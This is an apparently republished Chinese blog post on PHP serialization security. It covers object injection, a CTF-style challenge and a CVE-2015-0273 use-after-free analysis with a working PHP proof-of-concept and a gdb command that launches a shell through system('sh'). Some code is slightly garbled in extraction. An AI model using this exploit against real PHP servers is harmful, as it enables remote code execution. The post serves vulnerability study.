Community Learn Tools Library Leisure
search
English
Home > php教程 > php手册 > body text

PHP serialize && unserialize Security Risk R

WBOY
Release： 2016-06-06 19:48:10
Original
1155 people have browsed it

目录 1 . 序列化的定义 2 . serialize：序列化 3 . unserialize：反序列化 4 . 序列化、反序列化存在的安全风险 5 . Use After Free Vulnerability in unserialize() with DateTime* [CVE- 2015 - 0273 ] 6 . PHP中的内存破坏漏洞利用(CVE- 2014 -8142和CVE-

目录

<span>1</span><span>. 序列化的定义
</span><span>2</span><span>. serialize：序列化
</span><span>3</span><span>. unserialize：反序列化
</span><span>4</span><span>. 序列化、反序列化存在的安全风险
</span><span>5</span>. Use After Free Vulnerability <span>in</span> unserialize() with DateTime* [CVE-<span>2015</span>-<span>0273</span><span>]
</span><span>6</span>. PHP中的内存破坏漏洞利用(CVE-<span>2014</span>-8142和CVE-<span>2015</span>-<span>0231</span>)
Copy after login

 

1. 序列化的定义

序列化在计算机科学中通常有以下定义:

<span>1</span><span>. 对同步控制而言，表示强制在同一时间内进行单一存取 
</span><span>2</span>. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介，例如档案或是记亿体缓冲等，或者透过网络传送资料时进行编码的过程，可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象，以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化
Copy after login

序列化有多个优点 

<span>1</span><span>. 一个简单和持久的方法使对象持续
</span><span>2</span><span>. 一个发起远程过程调用的方法，例如在SOAP内的 
</span><span>3</span>. 一个分发对象的方法，尤其是在如COM及CORBA的软件组件化内
Copy after login

Relevant Link:

http:<span>//</span><span>zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96</span>
http:<span>//</span><span>baike.baidu.com/view/160029.htm</span>
Copy after login

 

2. serialize：序列化

serialize: 产生一个可存储的值的表示
serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。这有利于存储或传递 PHP 的值，同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型，包括

<span>1</span><span>. 指向其自身引用的数组
</span><span>2</span><span>. serialize() 的数组／对象中的引用也将被存储(引用本身也会被序列化)
</span><span>3</span>. ...
Copy after login

从本质上来讲，序列化的过程是一个"对象(广义上的对象，包括integer、float、string、array、object)"进行"对象销毁"，然后转换为一个通用的中间可存储字符串，在整个序列化过程中，对象经历的声明周期如下

<span>1</span><span>. __sleep(): 在执行对象销毁前获得执行权限
</span><span>2</span>. __destruct()：执行实际的对象销毁操作
Copy after login

code

<span>php
    </span><span>class</span><span> Connection 
    {
        </span><span>var</span><span> $protected_var;
        </span><span>var</span><span> $private_var;
        
        </span><span>public</span><span> function __construct($server, $username, $password, $db)
        {
            echo </span><span>"</span><span>function __construct() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
            $</span><span>this</span>->protected_var = <span>"</span><span>protected_var</span><span>"</span><span>;
            $</span><span>this</span>->private_var = <span>"</span><span>private_var</span><span>"</span><span>;
        }
        
        function __destruct() 
        {
            echo </span><span>"</span><span>function __destruct() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
           }
        
        </span><span>public</span><span> function __sleep()
        {
            echo </span><span>"</span><span>function __sleep() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
        }
        
        </span><span>public</span><span> function __wakeup()
        {
            echo </span><span>"</span><span>function __wakeup() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
        }
    }

    </span><span>//</span><span>initialize a var</span>
    $obj = <span>new</span><span> Connection();

    </span><span>//</span><span>var_dump($obj);</span>
<span>
    $result </span>=<span> serialize($obj);

    </span><span>//</span><span>var_dump($result);</span>
<span>
    unserialize($result);
</span>?>
Copy after login

Relevant Link:

http:<span>//</span><span>php.net/manual/zh/function.serialize.php</span>
http:<span>//</span><span>php.net/manual/zh/language.oop5.magic.php#object.wakeup</span>
http:<span>//</span><span>php.net/manual/zh/language.oop5.decon.php</span>
Copy after login

 

3. unserialize：反序列化

从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值

在反序列化中，经历的对象声明周期为

<span>1</span><span>. __construct()：执行对象注册、包括对象中成员的注册
</span><span>2</span>. __wakeup：在构造函数执行后获得执行权限
Copy after login

Relevant Link:

http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span>
Copy after login

 

4. 序列化、反序列化存在的安全风险

0x1: 对象注入

<span>php
    #GOAL: </span><span>get</span><span> the secret;
     
    </span><span>class</span><span> just4fun 
    {
        </span><span>var</span><span> $enter;
        </span><span>var</span><span> $secret;
    }
     
    </span><span>if</span> (isset($_GET[<span>'</span><span>pass</span><span>'</span><span>])) 
    {
        $pass </span>= $_GET[<span>'</span><span>pass</span><span>'</span><span>];
     
        </span><span>if</span><span>(get_magic_quotes_gpc())
        {
        $pass</span>=<span>stripslashes($pass);
        }
     
        $o </span>=<span> unserialize($pass);
     
        </span><span>if</span><span> ($o) 
        {
        $o</span>->secret = <span>"</span><span>?????????????????????????????</span><span>"</span><span>;
        </span><span>if</span> ($o->secret === $o-><span>enter)
            echo </span><span>"</span><span>Congratulation! Here is my secret: </span><span>"</span>.$o-><span>secret;
        </span><span>else</span><span>
            echo </span><span>"</span><span>Oh no... You can't fool me</span><span>"</span><span>;
        }
        </span><span>else</span> echo <span>"</span><span>are you trolling?</span><span>"</span><span>;
    }
</span>?>
Copy after login

serialize一个just4fun的对象，序列化之前先进行引用赋值

$o->enter = &$o->secret
Copy after login

0x2: PHP Session 序列化及反序列化处理器

http:<span>//</span><span>drops.wooyun.org/tips/3909</span>
Copy after login

0x3: 基于序列化、反序列化的Webshell隐藏技巧

http:<span>//</span><span>www.cnblogs.com/LittleHann/p/3522990.html</span>
搜索：<span>0x22</span>: PHP的序列化、反序列化特性布置后门
Copy after login

Relevant Link:

http:<span>//</span><span>drops.wooyun.org/papers/660</span>
Copy after login

 

5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

0x1: Affected Versions

Affected <span>is</span> PHP <span>5.6</span> 5.6.<span>6</span><span>
Affected </span><span>is</span> PHP <span>5.5</span> 5.5.<span>22</span><span>
Affected </span><span>is</span> PHP <span>5.4</span> 5.4.<span>38</span><span>
Affected </span><span>is</span> PHP <span>5.3</span> 5.3.<span>29</span>
Copy after login

0x2: 漏洞源代码分析

\php-src-master\ext\date\php_date.c

<span>static</span> <span>int</span> php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *<span>myht)
{
    zval             </span>*<span>z_date;
    zval             </span>*<span>z_timezone;
    zval             </span>*<span>z_timezone_type;
    zval              tmp_obj;
    timelib_tzinfo   </span>*<span>tzi;
    php_timezone_obj </span>*<span>tzobj;

    z_date </span>= zend_hash_str_find(myht, <span>"</span><span>date</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>data</span><span>"</span>)-<span>1</span><span>);
    </span><span>if</span><span> (z_date) {
        convert_to_string(z_date);
        z_timezone_type </span>= zend_hash_str_find(myht, <span>"</span><span>timezone_type</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>timezone_type</span><span>"</span>)-<span>1</span><span>);
        </span><span>if</span><span> (z_timezone_type) {
            convert_to_long(z_timezone_type);
            z_timezone </span>= zend_hash_str_find(myht, <span>"</span><span>timezone</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>timezone</span><span>"</span>)-<span>1</span><span>);
            </span><span>if</span><span> (z_timezone) {
                convert_to_string(z_timezone);

...</span>
Copy after login

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

0x3: poc

<span>php

$f </span>= $argv[<span>1</span><span>];
$c </span>= $argv[<span>2</span><span>];

$fakezval1 </span>= ptr2str(<span>0x100b83008</span><span>);
$fakezval1 .</span>= ptr2str(<span>0x8</span><span>);
$fakezval1 .</span>= <span>"</span><span>\x00\x00\x00\x00</span><span>"</span><span>;
$fakezval1 .</span>= <span>"</span><span>\x06</span><span>"</span><span>;
$fakezval1 .</span>= <span>"</span><span>\x00</span><span>"</span><span>;
$fakezval1 .</span>= <span>"</span><span>\x00\x00</span><span>"</span><span>;

$data1 </span>= <span>'</span><span>a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:</span><span>'</span>.strlen($fakezval1).<span>'</span><span>:"</span><span>'</span>.$fakezval1.<span>'</span><span>";i:2;a:1:{i:0;R:4;}}</span><span>'</span><span>;

$x </span>=<span> unserialize($data1);
$y </span>= $x[<span>2</span><span>];

</span><span>//</span><span> zend_eval_string()'s address</span>
$y[<span>0</span>][<span>0</span>] = <span>"</span><span>\x6d</span><span>"</span><span>;
$y[</span><span>0</span>][<span>1</span>] = <span>"</span><span>\x1e</span><span>"</span><span>;
$y[</span><span>0</span>][<span>2</span>] = <span>"</span><span>\x35</span><span>"</span><span>;
$y[</span><span>0</span>][<span>3</span>] = <span>"</span><span>\x00</span><span>"</span><span>;
$y[</span><span>0</span>][<span>4</span>] = <span>"</span><span>\x01</span><span>"</span><span>;
$y[</span><span>0</span>][<span>5</span>] = <span>"</span><span>\x00</span><span>"</span><span>;
$y[</span><span>0</span>][<span>6</span>] = <span>"</span><span>\x00</span><span>"</span><span>;
$y[</span><span>0</span>][<span>7</span>] = <span>"</span><span>\x00</span><span>"</span><span>;

$fakezval2 </span>= ptr2str(<span>0x3b296324286624</span>); <span>//</span><span> $f($c);</span>
$fakezval2 .= ptr2str(<span>0x100b83000</span><span>);
$fakezval2 .</span>= <span>"</span><span>\x00\x00\x00\x00</span><span>"</span><span>;
$fakezval2 .</span>= <span>"</span><span>\x05</span><span>"</span><span>;
$fakezval2 .</span>= <span>"</span><span>\x00</span><span>"</span><span>;
$fakezval2 .</span>= <span>"</span><span>\x00\x00</span><span>"</span><span>;

$data2 </span>= <span>'</span><span>a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:</span><span>'</span>.strlen($fakezval2).<span>'</span><span>:"</span><span>'</span>.$fakezval2.<span>'</span><span>";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}</span><span>'</span><span>;

$z </span>=<span> unserialize($data2);

function ptr2str($ptr)
{
    $</span><span>out</span> = <span>""</span><span>;
    </span><span>for</span> ($i=<span>0</span>; $i8; $i++<span>) {
        $</span><span>out</span> .= chr($ptr & <span>0xff</span><span>);
        $ptr </span>>>= <span>8</span><span>;
    }
    </span><span>return</span> $<span>out</span><span>;
}

</span>?>
Copy after login

gdb php
run uafpoc.php assert "system\('sh'\)==exit\(\)"

Relevant Link:

https:<span>//</span><span>github.com/80vul/phpcodz/tree/master/research</span>
Copy after login

 

6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)

待研究

Relevant Link:

http:<span>//</span><span>drops.wooyun.org/papers/4864</span>
Copy after login

 

Copyright (c) 2014 LittleHann All rights reserved

 

Related labels：
amp php serialize unserialize
source：php.cn
Previous article：php5.4.6/5.3.16/5.2.17安装(In windows),配置(转) Next article：Coreseek + Sphinx + Mysql + PHP构建中文检索引擎
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Articles by Author
Latest Issues
PHP arrays obtained from URL parameters do not behave as expected I have a URL parameter that contains the category ID and I want to treat it as an array li...
From 2024-04-06 22:09:02
0
1
1428
Where should I place CustomLog directive in apache I'm using php:7.2-apachedocker. I need to disable health check url login access log. Based...
From 2024-04-06 22:03:59
0
1
990
What is the format of the variables in the return value? I am a new learner of php. I found a piece of code: if($x<time()){return[false,'error']...
From 2024-04-06 21:55:20
0
1
778
Problems encountered when using opentbs to generate odt files: values ​​of the same key are displayed in the same row instead of separate columns. I'm using a library called OpenTbs to create odt using PHP, I'm using it because columns a...
From 2024-04-06 20:18:18
0
1
483
Group MySQL results by ID for looping over I have a table with flight data in mysql. I'm writing a php code that will group and displ...
From 2024-04-06 17:27:56
0
1
406
Related Topics
More>
Popular Recommendations
Popular Tutorials
More>
Related Tutorials
Popular Recommendations
Latest courses
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template